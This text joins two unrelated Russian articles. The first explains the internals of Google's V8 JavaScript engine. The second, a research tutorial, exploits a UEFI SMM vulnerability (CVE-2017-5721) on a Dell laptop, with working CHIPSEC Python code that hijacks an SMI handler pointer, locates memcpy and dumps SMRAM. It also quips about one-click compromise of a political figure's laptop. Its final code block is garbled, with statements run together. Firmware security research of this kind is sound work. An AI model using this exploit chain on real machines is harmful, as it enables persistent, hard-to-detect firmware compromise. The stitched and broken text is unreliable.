JavaScript-движок — это программа, или, другими словами, интерпретатор, выполняющий код, написанный на JavaScript. Движок может быть реализован с использованием различных подходов: в виде обычного интерпретатора, в виде динамического компилятора (или JIT-компилятора), который, перед выполнением программы, преобразует исходный код на JS в байт-код некоего формата.
Вот список популярных реализаций JavaScript-движков.
В этом материале мы остановимся на особенностях V8.
Движок с открытым кодом V8 был создан компанией Google, он написан на C++.
Движок используется в браузере Google Chrome. Кроме того, что отличает V8 от
других движков, он применяется в популярной серверной среде Node.js.
Логотип V8
При проектировании V8 разработчики задались целью улучшить производительность JavaScript в браузерах. Для того, чтобы добиться высокой скорости выполнения программ, V8 транслирует JS-код в более эффективный машинный код, не используя интерпретатор. Движок компилирует JavaScript-код в машинные инструкции в ходе исполнения программы, реализуя механизм динамической компиляции, как и многие современные JavaScript-движки, например, SpiderMonkey и Rhino (Mozilla). Основное различие заключается в том, что V8 не использует при исполнении JS- программ байт-код или любой промежуточный код.
Внутреннее устройство V8 изменилось с выходом версии 5.9, которая появилась совсем недавно. До этого же он использовал два компилятора:
Внутри движка используются несколько потоков:
При первом исполнении JS-кода V8 задействует компилятор full-codegen, который напрямую, без каких-либо дополнительных трансформаций, транслирует разобранный им JavaScript-код в машинный код. Это позволяет очень быстро приступить к выполнению машинного кода. Обратите внимание на то, что V8 не использует промежуточное представление программы в виде байт-кода, таким образом, устраняя необходимость в интерпретаторе.
После того, как код какое-то время поработает, поток профилировщика соберёт достаточно данных для того, чтобы система могла понять, какие методы нужно оптимизировать.
Далее, в другом потоке, начинается оптимизация с помощью Crankshaft. Он преобразует абстрактное синтаксическое дерево JavaScript в высокоуровневое представление, использующее модель единственного статического присваивания (static single-assignment, SSA). Это представление называется Hydrogen. Затем Crankshaft пытается оптимизировать граф потока управления Hydrogen. Большинство оптимизаций выполняется на этом уровне.
Первая оптимизация программы заключается в заблаговременном встраивании в места вызовов как можно большего объёма кода. Встраивание кода — это процесс замены команды вызова функции (строки, где вызывается функция) на её тело. Этот простой шаг позволяет сделать следующие оптимизации более результативными.
Вызов функции заменяется на её тело
JavaScript — это язык, основанный на прототипах: здесь нет классов. Объекты здесь создаются с использованием процесса клонирования. Кроме того, JS — это динамический язык программирования, это значит, что, после создания экземпляра объекта, к нему можно добавлять новые свойства и удалять из него существующие.
Большинство JS-интерпретаторов используют структуры, напоминающие словари (основанные на использовании хэш- функций), для хранения сведений о месте расположения значений свойств объектов в памяти. Использование подобных структур делает извлечение значений свойств в JavaScript более сложной задачей, чем в нединамических языках, таких, как Java и C#. В Java, например, все свойства объекта определяются не изменяющейся после компиляции программы схемой объекта, их нельзя динамически добавлять или удалять (надо отметить, что в C# есть [динамический](https://docs.microsoft.com/en- us/dotnet/csharp/language-reference/keywords/dynamic) тип, но тут мы можем не обращать на это внимание). Как результат, значения свойств (или указатели на эти свойства) могут быть сохранены, с фиксированным смещением, в виде непрерывного буфера в памяти. Шаг смещения можно легко определить, основываясь на типе свойства, в то время как в JavaScript это невозможно, так как тип свойства может меняться в процессе выполнения программы.
Так как использование словарей для выяснения адресов свойств объекта в памяти очень неэффективно, V8 использует вместо этого другой метод: скрытые классы. Скрытые классы похожи на обычные классы в типичном объектно-ориентированном языке программирования, вроде Java, за исключением того, что создаются они во время выполнения программы. Посмотрим, как всё это работает, на следующем примере:
function Point(x, y) {
this.x = x;
this.y = y;
}
var p1 = new Point(1, 2);
Когда происходит вызов new Point(1, 2), V8 создаёт скрытый класс C0.
Первый скрытый класс С0
Пока, ещё до выполнения конструктора, у объекта Point нет свойств, поэтому класс C0 пуст.
Как только будет выполнена первая команда в функции Point, V8 создаст второй скрытый класс, C1, который основан на C0. C1 описывает место в памяти (относительно указателя объекта), где можно найти свойство x. В данном случае свойство x хранится по смещению 0, что означает, что если рассматривать объект Point в памяти как непрерывный буфер, первое смещение соответствует свойству x. Кроме того, V8 добавит в класс C0 сведения о переходе к классу C1, где указывается, что если к объекту Point будет добавлено свойство x, скрытый класс нужно изменить с C0 на C1. Скрытый класс для объекта Point, как показано на рисунке ниже, теперь стал классом С1.
Каждый раз, когда к объекту добавляется новое свойство, в старый скрытый
класс добавляются сведения о переходе к новому скрытому классу. Переходы между
скрытыми классами важны, так как они позволяют объектам, которые создаются
одинаково, иметь одни и те же скрытые классы. Если два объекта имеют общий
скрытый класс и к ним добавляется одно и то же свойство, переходы обеспечат
то, что оба объекта получат одинаковый новый скрытый класс и весь
оптимизированный код, который идёт вместе с ним.
Этот процесс повторяется при выполнении команды this.y = y (опять же, делается это внутри функции Point, после вышеописанной команды по добавлению свойства x).
Тут создаётся новый скрытый класс, C2, а в класс C1 добавляются сведения о переходе, где указывается, что если к объекту Point добавляется свойство y (при этом речь идёт об объекте, который уже содержит свойство x), тогда скрытый класс объекта должен измениться на C2.
Переход к использованию класса C2 после добавления к объекту свойства y
Переходы между скрытыми классами зависят от порядка, в котором к объекту добавляются свойства. Взгляните на этот пример кода:
function Point(x, y) {
this.x = x;
this.y = y;
}
var p1 = new Point(1, 2);
p1.a = 5;
p1.b = 6;
var p2 = new Point(3, 4);
p2.b = 7;
p2.a = 8;
В подобной ситуации можно предположить, что у объектов p1 и p2 будет один и тот же скрытый класс и одно и то же дерево переходов скрытых классов. Однако, на самом деле это не так. В объект p1 первым добавляется свойство a, а затем — свойство b. В объект p2 сначала добавляют свойство b, а затем — a. В результате объекты p1 и p2 будут иметь различные скрытые классы — результат различных путей переходов между скрытыми классами. В подобных случаях гораздо лучше инициализировать динамические свойства в одном и том же порядке для того, чтобы скрытые классы могли быть использованы повторно.
V8 использует и другую технику для оптимизации выполнения динамически типизированных языков, называемую встроенным кэшем вызовов. Встроенное кэширование основано на наблюдении, которое заключается в том, что повторяющиеся обращения к одному и тому же методу имеют тенденцию происходить с использованием объектов одного типа. Более подробно об этом можно почитать [здесь](https://github.com/sq/JSIL/wiki/Optimizing-dynamic-JavaScript-with- inline-caches). Если у вас нет времени слишком в это углубляться, читая вышеупомянутый материал, здесь мы изложим концепцию встроенного кэширования буквально в двух словах.
Итак, как же всё это работает? V8 поддерживает кэш типов объектов, которые мы передали в качестве параметра недавно вызванным методам, и использует эту информацию для того, чтобы сделать предположение о типах объектов, которые будут переданы как параметры в будущем. Если V8 смог сделать правильное предположение о типе объекта, который будет передан методу, он может пропустить процесс выяснения того, как получать доступ к свойствам объекта, а, вместо этого, использовать сохранённую информацию из предыдущих обращений к скрытому классу объекта.
Как связаны концепции скрытых классов и встроенных кэшей вызовов? Когда метод вызывается для некоего объекта, движок V8 должен обратиться к скрытому классу этого объекта для того, чтобы определить смещение для доступа к конкретному свойству. После двух успешных обращений одного и того же метода к одному и тому же скрытому классу, V8 опускает операцию обращения к скрытому классу и просто добавляет сведения о смещении свойства к самому указателю объекта. Выполняя вызовов этого метода в будущем, V8 предполагает , что скрытый класс не менялся и идёт прямо по адресу памяти для конкретного свойства, используя смещение, сохранённое после предыдущих обращений к скрытому классу. Это очень сильно увеличивает скорость выполнения кода.
Встроенное кэширование вызовов, кроме того, является причиной того, почему так важно, чтобы объекты одного и того же типа использовали общие скрытые классы. Если вы создаёте два объекта одинакового типа, но с разными скрытыми классами (как сделано в примере выше), V8 не сможет использовать встроенное кэширование, так как, даже хотя объекты имеют один и тот же тип, в соответствующих им скрытых классах назначено разное смещение их свойствам.
Перед нами объекты одного типа, но их свойства a и b были созданы в разном
порядке и имеют разное смещение
Как только граф Hydrogen оптимизирован, Crankshaft переводит его в низкоуровневое представление, которое называется Lithium. Большинство реализаций Lithium зависимо от архитектуры системы. На этом уровне, например, происходит выделение регистров.
В итоге Lithium-представление компилируется в машинный код. Затем происходит то, что называется замещением в стеке (on-stack replacement, OSR). Перед компиляцией и оптимизацией методов, в которых программа тратит много времени, нужно будет поработать с их неоптимизированными вариантами. Затем, не прерывая работу, V8 трансформирует контекст (стек, регистры) таким образом, чтобы можно было переключиться на оптимизированную версию кода. Это очень сложная задача, учитывая то, что помимо других оптимизаций, V8 изначально выполняет встраивание кода. V8 — не единственный движок, способный это сделать.
Как быть, если оптимизация оказалась неудачной? От этого есть защита — так называемая деоптимизация. Она направлена на обратную трансформацию, возвращающую систему к использованию неоптимизированного кода в том случае, если предположения, сделанные движком и положенные в основу оптимизации, больше не соответствуют действительности.
Для сборки мусора V8 использует традиционный генеалогический подход «пометь и выброси» (mark-and-sweep) для маркировки и очистки предыдущих поколений кода. Фаза маркировки предполагает остановку выполнения JavaScript. Для того, чтобы контролировать нагрузку на систему, создаваемую сборщиком мусора и сделать выполнение кода более стабильным, V8 использует инкрементный алгоритм маркирования: вместо того, чтобы обходить всю кучу, он пытается пометить всё, что сможет, обходя лишь часть кучи. Затем нормальное выполнение кода возобновляется. Следующий проход сборщика мусора по куче начинается там, где закончился предыдущий. Это позволяет добиться очень коротких пауз в ходе обычного выполнения кода. Как уже было сказано, фазой очистки памяти занимаются отдельные потоки.
С выходом в этом году V8 версии 5.9. был представлен и новый конвейер выполнения кода. Этот конвейер позволяет достичь ещё большего улучшения производительности и значительной экономии памяти, причём, не в тестах, а в реальных JavaScript-приложениях.
Новая система построена на базе интерпретатора Ingnition и новейшего оптимизирующего компилятора TurboFan. Подробности об этих новых механизмах V8 можно почитать в [этом](https://v8project.blogspot.bg/2017/05/launching-ignition-and- turbofan.html) материале.
С выходом V8 5.9 full-codegen и Crankshaft (технологии, которые использовались в V8 с 2010-го года) больше применяться не будут. Команда V8 развивает новые средства, стараясь не отстать от новых возможностей JavaScript и внедрить оптимизации, необходимые для поддержки этих возможностей. Переход на новые технологии и отказ от поддержки старых механизмов означает развитие V8 в сторону более простой и хорошо управляемой архитектуры.
Улучшения в тестах производительности для браузерного и серверного вариантов использования JS
Эти улучшения — лишь начало. Новый конвейер выполнения кода на основе Ignition и TurboFan открывает путь к дальнейшим оптимизациям, которые улучшат производительность JavaScript и сделают V8 экономичнее.
Мы рассмотрели некоторые особенности V8, а теперь приведём несколько советов по оптимизации кода. На самом деле, кстати, всё это вполне можно вывести из того, о чём мы говорили выше.
Автор статьи Закиров Руслан @backtrace.
Digital Security
Исследования в области безопасности UEFI BIOS уже не являются чем-то новомодным, но в последнее время чувствуется некоторый дефицит образовательных материалов по этой теме (особенно — на русском языке). В этой статье мы постараемся пройти весь путь от нахождения уязвимости и до полной компрометации UEFI BIOS. От эксплуатации execute примитива до закрепления в прошивке UEFI BIOS.
Предполагается, что читатель уже знаком с основами UEFI BIOS и устройством подсистемы SMM.
В качестве подопытного кролика мы взяли ноутбук DELL Inspiron 7567. Причины
выбора этого ноутбука следующие: нам известно, что в старой прошивке этого
ноутбука есть известная уязвимость CVE-2017-5721, а также он есть у нас в
наличии.
Первое, что происходит с ноутбуком при начале исследований - определение
местоположения SPI флеш-памяти на материнской плате. Обнаружить этот чип можно
визуально после разборки ноутбука. SPI флеш-память практически всегда
находится на нижней стороне материнской платы, поэтому полный разбор ноутбука
не требуется. Иногда даже достаточно снять крышку для доступа к HDD.
После обнаружения SPI флеш-памяти есть 2 варианта развития событий:
Мы в нашей работе используем универсальный программатор ChipProg-481, но, в
целом, подойдёт любой SPI программатор. Наличие программатора необходимо,
поскольку ошибка при работе с содержимым флешки может привести к тому, что
ноутбук станет "кирпичом". В таком случае восстановление его работоспособности
будет возможно лишь при помощи перезаписи содержимого SPI флеш-памяти заранее
снятым с нее дампом "до экспериментов". Также наличие программатора позволит
заливать модифицированные прошивки со специальным "бэкдором" для расширение
возможностей анализа.
Наша работа будет производиться над версией прошивки 1.0.5 ([link](https://www.dell.com/support/home/en- us/drivers/driversdetails?driverid=7ydvc&oscode=wt64a&productcode=inspiron-15-7567-laptop)). При отсутствии возможности откатиться до этой версии прошивки вы можете воспользоваться нашим [дампом](https://github.com/Digital-Security/from-zero- to-hero).
После снятия дампа с SPI флеш-памяти возникает необходимость открыть этот бинарный файл. Для этой цели существует UEFITool, который позволяет не только просматривать содержимое прошивки UEFI BIOS, но и производить поиск, извлекать, добавлять, заменять и удалять компоненты прошивки. Функции, связанные с пересборкой прошивки доступны только в Old Engine версии. Для остальных задач лучше использовать New Engine (содержит "NE" в названии файла).
Довольно часто нужные кодовые модули EFI можно найти внутри дампа по их названиям (напрмер, UsbRt). Но в некоторых случаях вендоры не сохраняют информацию о названиях модулей в прошивке. В таком случае поиск требуемого модуля следует производить при помощи его GUID, но это сработает только с общеизвестными модулями. Нередко разработчики BIOS добавляют в прошивки проприетарные модули, и при отсутствии информации о названиях модулей приходится придумывать свои собственные.
GUID модулей можно найти в следующих источниках:
При анализе модулей наиболее полезными инструментами являются IDA Pro и Ghidra. Но наличие только этих инструментов будет недостаточно. В этих материалах можно подробно узнать об актуальных инструментах при исследовании UEFI BIOS:
Нам понадобятся следующие инструменты:
Это не исчерпывающий, но достаточный список инструментов этой тематики. Как можно заметить, все перечисленные инструменты относятся к типу инструментов статического анализа. Как же обстоят дела с инструментами динамического анализа? Можно рассмотреть следующий список актуальных инструментов:
Несмотря на существование подобных инструментов и их активное развитие, в практическом плане при поиске уязвимостей в подсистеме SMM они представляют нулевую ценность, поскольку ориентированы на эмуляцию фаз PEI и DXE.
В таком случае появляется вопрос: как же производить отладку? Отладку можно производить при помощи технологии Intel DCI. Информацию об использовании данной технологии можно получить из следующих материалов:
Проблема этой технологии в том, что работает она далеко не везде. Поэтому отладка зачастую производится методом проб и ошибок.
Попробуем самостоятельно найти уязвимость в модуле UsbRt. Для начала откроем
дамп BIOS в UEFITool, после чего сделаем поиск по тексту "UsbRt", и обнаружим,
что это название в прошивке отсутстует (вендор не оставил информацию о
названиях модулей) либо называется он по-другому.
Произведя поиск в различных источниках (например,
[здесь](https://github.com/abazhaniuk/efi-
whitelist/blob/master/json/efi_dell.json)) мы определяем, что модулю UsbRt
соответствует GUID 04EAAAA1-29A1-11D7-8838-00500473D4EB. Теперь, при помощи
поиска по GUID, мы можем извлечь соответствующую секцию образа PE32. На самом
деле UEFITool содержит в себе базу общеизвестных GUID-ов, но надпись "USBRT"
пришлось бы искать глазами, поскольку поиск по тексту не включает в себя
записи из базы GUID-ов.
Здесь и далее будет использоваться инструмент IDA Pro с указанными выше плагинами, но все необходимые манипуляции доступны и в Ghidra.
После открытия модуля UsbRt в IDA Pro нам необходимо найти обработчик software прерываний. Чаще всего все достаточно просто - после отработки плагина ida- efitools2 функция уже подписана как "DispatchFunction".
Но в данном случае эта функция относится к протоколу
EFI_SMM_USB_DISPATCH2_PROTOCOL, который нас не сильно интересует. Нам следует
отталкиваться от перекрестных ссылок на EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID,
чтобы определить место использования интересующего нас протокола. Так мы
сможем понять какая функция регистрируется в качестве обработчика software
прерываний.
Я назвал обнаруженный обработчик как "SwDispatchFunction". Также можно
заметить, что этому обработчику соответствует SMI прерывание #31h.
Здесь стоит обратить внимание на некий глобальный указатель на структуру
"usb_data", на основе которой происходит много операций. Из неё же извлекается
структура "request", откуда в свою очередь извлекается некий индекс. Ниже
можно заметить, что на основе индекса происходит вызов функции из массива.
Code:Copy to clipboard
.code:0000000080000E80 funcs_1C42 dq offset sub_80001F74 ; DATA XREF: sub_8000191C+259↓o
.code:0000000080000E80 ; SwDispatchFunction:loc_80001C35↓o ...
.code:0000000080000E80 dq offset sub_80002028
.code:0000000080000E80 dq offset sub_80002030
.code:0000000080000E80 dq offset sub_8000205C
.code:0000000080000E80 dq offset sub_8000205C
.code:0000000080000E80 dq offset sub_8000205C
.code:0000000080000E80 dq offset sub_80002064
.code:0000000080000E80 dq offset sub_800020B0
.code:0000000080000E80 dq offset sub_80001F38
.code:0000000080000E80 dq offset sub_8000205C
.code:0000000080000E80 dq offset sub_8000205C
.code:0000000080000E80 dq offset sub_8000205C
.code:0000000080000E80 dq offset sub_80002938
.code:0000000080000E80 dq offset sub_80002E58
.code:0000000080000E80 dq offset sub_80003080
.code:0000000080000E80 dq offset sub_800030D8
.code:0000000080000E80 dq offset sub_800029AC
.code:0000000080000E80 dq offset sub_80002B18
.code:0000000080000E80 dq offset sub_80002B20
.code:0000000080000E80 dq offset sub_80002D08
.code:0000000080000E80 dq offset sub_80002D5C
.code:0000000080000E80 dq offset sub_80008888
.code:0000000080000E80 dq offset sub_80002C84
.code:0000000080000E80 dq offset sub_80002EB0
Сделаем вид, что просмотрели все 24 функции, и наибольший интерес у нас
вызвала функция с индексом 14 (sub_80003080), которую назовём как
"subfunc_14".
Функция, после нескольких арифметических операций, извлекает и передает указатель из структуры usb_data в следующую функцию:
Здесь мы обнаруживаем просто изумительную функцию! Помимо возможности
исполнить произвольный адрес эта функция так же позволяет передать вплоть до 7
аргументов! Но главный вопрос - можем ли мы управлять передаваемым указателем?
Приступим к изучению указателя usb_data. Список перекрестных ссылок не оставляет никаких надежд усомниться в местонахождении инициализации данного указателя:
Судя по всему, нам придётся искать модуль, который производит установку
протокола EFI_USB_PROTOCOL (сразу после того как убедились, что этот протокол
не устанавливается в модуле UsbRt):
На данном этапе, возможно, уместно было бы воспользоваться плагином efiXplorer
для поиска нужного модуля, но мы сделаем по старинке. Копируем GUID
интересующего нас протокола (ida-efitools2 позволяет это делать при помощи
горячей клавиши Ctrl-Alt-G) либо извлекаем соответствующие этому GUID байты.
Полученную информацию используем для поиска в прошивке при помощи UEFITool
(ставим галочку Header and body).
Сразу можно отсечь модули, у которых вхождения не только в PE32, но и в "MM
dependecy section" (секция зависимостей модуля), поскольку модуль не может
одновременно предоставлять протокол и зависеть от него.На выбор остаётся Bds,
SBDXE, Setup, CsmDxe, UHCD, KbcEmul и некий безымянный модуль. Можно бегло
просмотреть все эти модули на предмет установки протокола EFI_USB_PROTOCOL, но
что-то мне подсказывает, что первая буква в аббревиатуре UHCD означает Usb,
поэтому перейдем сразу к нему.
EFI_USB_PROTOCOL действительно устанавливается в этом модуле. Тут же мы видим
указатель usb_data. Также важно отметить, что в первое поле структуры
EFI_USB_PROTOCOL записывается сигнатура "USBP" ('PBSU' при обратном порядке
байтов). Осталось понять, откуда берётся usb_data.
Структура аллоцируется при помощи той же функции, что и в случае с
EFI_USB_PROTOCOL. Также устанавливается сигнатура "$UDA" (Usb DAta?). Как же
происходит аллокация памяти?
Вот где собака зарыта! Память выделяется при помощи EFI_BOOT_SERVICES, т.е. в
фазе DXE. Это значит, что память не размещена внутри SMRAM, поэтому ОС имеет
полный доступ к этой памяти, осталось только найти нужные структуры в ней. Тут
не помешает отметить, что память выделяется с типом "AllocateMaxAddress", из-
за чего с высокой долей вероятности выделенный буфер будет располагаться где-
то неподалеку от начала SMRAM.
У нас начинает вырисовываться следующий алгоритм эксплуатации обнаруженной уязвимости:
Для всех перечисленных действий нам потребуется привилегии ядра (Ring 0). Но
писать эксплоит в виде системного драйвера выглядит довольно трудозатратно и
долго.
Под эту задачу идеально подходит фреймворк CHIPSEC, который написан на Python,
и который имеет все необходимые примитивы по работе с физической памятью, PCI,
прерываниями и прочими аппаратными функциями.
CHIPSEC для доступа к аппаратным ресурсам использует собственный
самоподписанный системный драйвер. Из-за этого ОС необходимо переключать в
тестовый режим. Но CHIPSEC также позволяет использовать драйвер RWEverything,
который имеет валидную цифровую подпись. Этот вариант имеет некоторые
подводные камни, как, например, ограничение на размер выделяемой физической
памяти, который не может превышать 0x10000 байт.
Инициализация и генерирование прерывания через фреймворк CHIPSEC выглядит следующим образом:
Code:Copy to clipboard
import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
SMI_USB_RUNTIME = 0x31
cs = chipsec.chipset.cs()
cs.init(None, None, True, True)
intr = Interrupts(cs)
intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)
Приступим к поиску usb_data в памяти.
Code:Copy to clipboard
mem_read = cs.helper.read_physical_mem
mem_write = cs.helper.write_physical_mem
mem_alloc = cs.helper.alloc_physical_mem
PAGE_SIZE = 0x1000
SMRAM = cs.cpu.get_SMRAM()[0]
for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):
if mem_read(addr * PAGE_SIZE, 4) == b'$UDA':
usb_data = addr * PAGE_SIZE
break
Мы пользуемся особенностью памяти, выделенной по типу AllocateMaxAddress, производя поиск от SMRAM в обратном порядке. Также нет смысла сверять каждый байт, поскольку для этого буфера выделялись страницы памяти, поэтому шагаем по 4096 байт.
Теперь подготовим нашу структуру request и обновим соответствующий указатель в usb_data:
Code:Copy to clipboard
struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]
mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # очистим структуру
mem_write(struct_addr + 0x0, 1, '\x2d') # здесь указываем номер функции, которую мы хотим вызвать, + 0x19
mem_write(struct_addr + 0xb, 1, '\x10') # поправка на ветер
# по этому смещению UsbRt берёт указатель на структуру request
mem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))
И самое интересное - изменяем указатель по смещению 0x78 (именно такое значение получается после всех вычислений в функции subfunc_14) в структуре usb_data. Модуль UsbRt затем попытается его исполнить в процессе обработки прерывания.
Code:Copy to clipboard
bad_ptr = 0x12345678
func_offset = 0x78
mem_write(usb_data + func_offset, 8, pack('<Q', bad_ptr))
intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)
По исполнению этого кода можно заметить, что система намертво зависла. Но дело совсем не в том, что по адресу 0x12345678 располагается невесть что, а в том, что произошло аппаратное исключение Machine Check Exception. Наступило оно по причине того, что современные платформы предотвращают исполнение SMM кода вне региона SMRAM (SMM_Code_Chk_En).
Обойти это ограничение относительно легко - достаточно посмотреть адрес функции memcpy в модуле UsbRt (или любом другом) в дампе SMRAM. Но без дампа SMRAM адрес так просто не узнать. И здесь мы переходим ко второй части этой статьи.
Главный минус текущего варианта эксплоита в том, что он позволяешь лишь исполнить код по указанному адресу. Для свободы действий необходимо придумать способ развить эксплоит до полноценного read-write-execute примитива.
Мы можем исполнить любой код в SMRAM, но мы не знаем расположение функций внутри SMRAM. Значит, нужно самостоятельно определить базовый адрес какого- либо модуля. И уже относительно этого базового адреса мы сможем получить адрес интересующей нас функции (memcpy, например).
Как мы уже могли заметить, часть используемых данных при работе SMM хранится вне SMRAM. Некоторые структуры инициализируются в процессе работы фазы DXE, и по завершению этой фазы остаются висеть мертвым грузом в зарезервированной памяти, лишая ОС возможности воспользоваться ей. В таких структурах иногда можно обнаружить указатели в область SMRAM. При изучении происхождения этих структур можно наткнуться на очень полезные указатели.
Хорошим примером такой структуры является SMM_CORE_PRIVATE_DATA. Даже название уже интригует. Эти "приватные данные" легко находятся по сигнатуре "smmc" в зарезервированных областях памяти. Структура описана в репозитории EDK2:
Code:Copy to clipboard
typedef struct {
UINTN Signature;
///
/// The ImageHandle passed into the entry point of the SMM IPL. This ImageHandle
/// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded
/// Image Protocol for each SMM Driver that is dispatched by the SMM Core.
///
EFI_HANDLE SmmIplImageHandle;
///
/// The number of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM
/// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
///
UINTN SmramRangeCount;
///
/// A table of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM
/// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
///
EFI_SMRAM_DESCRIPTOR *SmramRanges;
///
/// The SMM Foundation Entry Point. The SMM Core fills in this field when the
/// SMM Core is initialized. The SMM IPL is responsible for registering this entry
/// point with the SMM Configuration Protocol. The SMM Configuration Protocol may
/// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL
/// sets up a protocol notification on the SMM Configuration Protocol and registers
/// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is
/// available.
///
EFI_SMM_ENTRY_POINT SmmEntryPoint;
///
/// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
///
BOOLEAN SmmEntryPointRegistered;
///
/// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
///
BOOLEAN InSmm;
///
/// This field is set by the SMM Core then the SMM Core is initialized. This field is
/// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in
/// the SMM IPL.
///
EFI_SMM_SYSTEM_TABLE2 *Smst;
///
/// This field is used by the SMM Communication Protocol to pass a buffer into
/// a software SMI handler and for the software SMI handler to pass a buffer back to
/// the caller of the SMM Communication Protocol.
///
VOID *CommunicationBuffer;
///
/// This field is used by the SMM Communication Protocol to pass the size of a buffer,
/// in bytes, into a software SMI handler and for the software SMI handler to pass the
/// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.
///
UINTN BufferSize;
///
/// This field is used by the SMM Communication Protocol to pass the return status from
/// a software SMI handler back to the caller of the SMM Communication Protocol.
///
EFI_STATUS ReturnStatus;
EFI_PHYSICAL_ADDRESS PiSmmCoreImageBase;
UINT64 PiSmmCoreImageSize;
EFI_PHYSICAL_ADDRESS PiSmmCoreEntryPoint;
} SMM_CORE_PRIVATE_DATA;
В нашем случае нам бы очень пригодился указатель PiSmmCoreImageBase, по которому располагается модуль PiSmmCore. К сожалению, наша система старовата, и настоящая структура не совсем соответствует описанию. До некоторого момента последних трёх указателей в этой структуре не существовало, как можно заметить в репозитории. В таком случае мы вынуждены прибегнуть к иному способу.
Мы уже знаем, что в памяти располагаются структуры usb_data и usb_protocol. Вполне возможно, что эти структуры содержат указатели на функции внутри модуля UsbRt.
Если мы вернёмся к месту инициализации указателя usb_data в модуле UsbRt, то можем заметить, что в коде происходит замена некоторых указателей в протоколе EFI_USB_PROTOCOL:
Указателями являются функции модуля UsbRt - как раз то, что нам надо.
Сконцентрируемся на указателе по смещению +0x50 (+0xA), поскольку он наиболее
близок к базовому адресу (это пока не важно).
Извлечь этот указатель достаточно просто:
Code:Copy to clipboard
for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):
if mem_read(addr * PAGE_SIZE, 4) == b'USBP':
usb_protocol = addr * PAGE_SIZE
break
funcptr = unpack('<Q', mem_read(usb_protocol + 0x50, 8))[0]
А теперь всё просто: открываем UsbRt в дизассемблере, сопоставляем виртуальный адрес функции с фактическим, находим функцию memcpy, вычисляем разницу между двумя функциями, прибавляем разницу к фактическому адресу полученной функции. Физический адрес функции memcpy получен!
Наш эксплоит теперь можно дополнить. Мы можем, например, сделать полный дамп SMRAM. И возможность передавать аргументы наконец пригодилась:
Code:Copy to clipboard
memcpy = 0x8d5afdb0
src = cs.cpu.get_SMRAM()[0] # начало SMRAM
cnt = cs.cpu.get_SMRAM()[2] # размер SMRAM
dst = mem_alloc(cnt, 0xffffffff)[1]
argc = 3
argv = mem_alloc(argc << 3, 0xffffffff)[1]
mem_write(argv, 8, dst)
mem_write(argv + 8, 8, src)
mem_write(argv + 0x10, 8, cnt)
struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]
mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # очистим структуру
mem_write(struct_addr + 0x0, 1, '\x2d') # здесь указываем номер функции, которую мы хотим вызвать, + 0x19
mem_write(struct_addr + 0xb, 1, '\x10') # поправка на ветер
mem_write(struct_addr + 0x3, 8, pack('<Q', argv)) # указатель на аргументы
mem_write(struct_addr + 0xf, 4, pack('<I', argc << 3)) # размер аргументов
mem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))
mem_write(usb_data + 0x78, 8, pack('<Q', memcpy))
intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)
with open('smram_dump.bin', 'wb') as f:
f.write(mem_read(dst, cnt))
Дамп SMRAM получили. Но на душе все равно как-то гадко. Мы ведь вручную сопоставили адреса функций и посчитали разницу до функции memcpy. Нельзя ли сделать это автоматически?
Давайте представим, что мы эксплуатируем ноутбук какого-нибудь члена Национального комитета Демократической партии США. Нам не до сопоставления функций, нужно сделать все в один клик. Более того, нельзя просто взять и положить рядом извлеченный модуль UsbRt. Версия может же отличаться.
Для извлечения актуальной версии модуля идеально подходит специальный регион физической памяти, в которой расположена отображённая на память (memory mapped) флеш-память. Смапленную флеш-память можно прочитать в самом конце 4 ГБ-ного пространства физической памяти. Начало региона зависит от размера флеш-памяти.
Для нас достаточно знать начало и размер BIOS региона. В этом нам поможет регистр BIOS_BFPREG, который находится в SPIBAR. В нем хранятся значения базового смещения и предела BIOS региона внутри флеш-памяти. Это позволяет нам вычислить размер BIOS региона. Поскольку BIOS регион принято хранить последним, то на основе размера этого региона можно определить физический адрес региона в смапленной флеш-памяти.
Code:Copy to clipboard
base = cs.read_register_field('BFPR', 'PRB') << 12
limit = cs.read_register_field('BFPR', 'PRL') << 12
bios_size = limit - base + 0x1000
bios_addr = 2**32 - bios_size
Благодаря широким возможностям фреймворка CHIPSEC у нас есть возможность в автоматизированном режиме распаковать считанную из памяти часть прошивки и извлечь необходимый модуль.
Code:Copy to clipboard
from uuid import UUID
from chipsec.hal.uefi import UEFI
from chipsec.hal.spi_uefi import build_efi_model, search_efi_tree, EFI_MODULE, EFI_SECTION
SECTION_PE32 = 0
USBRT_GUID = UUID(hex='04EAAAA1-29A1-11D7-8838-00500473D4EB')
uefi = UEFI(cs)
bios_data = mem_read(bios_addr, bios_size)
def callback(self, module: EFI_MODULE):
# PE32 секция сама по себе не имеет GUID, нужно обращаться к родителю
guid = module.Guid or cast(EFI_SECTION, module).parentGuid
return UUID(hex=guid) == USBRT_GUID
tree = build_efi_model(uefi, bios_data, None)
modules = search_efi_tree(tree, callback, SECTION_PE32, False)
usbrt = modules[0].Image[module.HeaderSize:]
Далее пойдёт очень хитрая математика:
Code:Copy to clipboard
def align_up(x, a):
a -= 1
return ((x + a) & ~a)
nthdr_off, = unpack_from('=I', usbrt, 0x3c) ep, = unpack_from('=I', usbrt, nthdr_off + 0x28)
imagebase = funcptr imagebase -= ep imagebase = align_up(imagebase, 0x1000) imagebase -= 0x2000
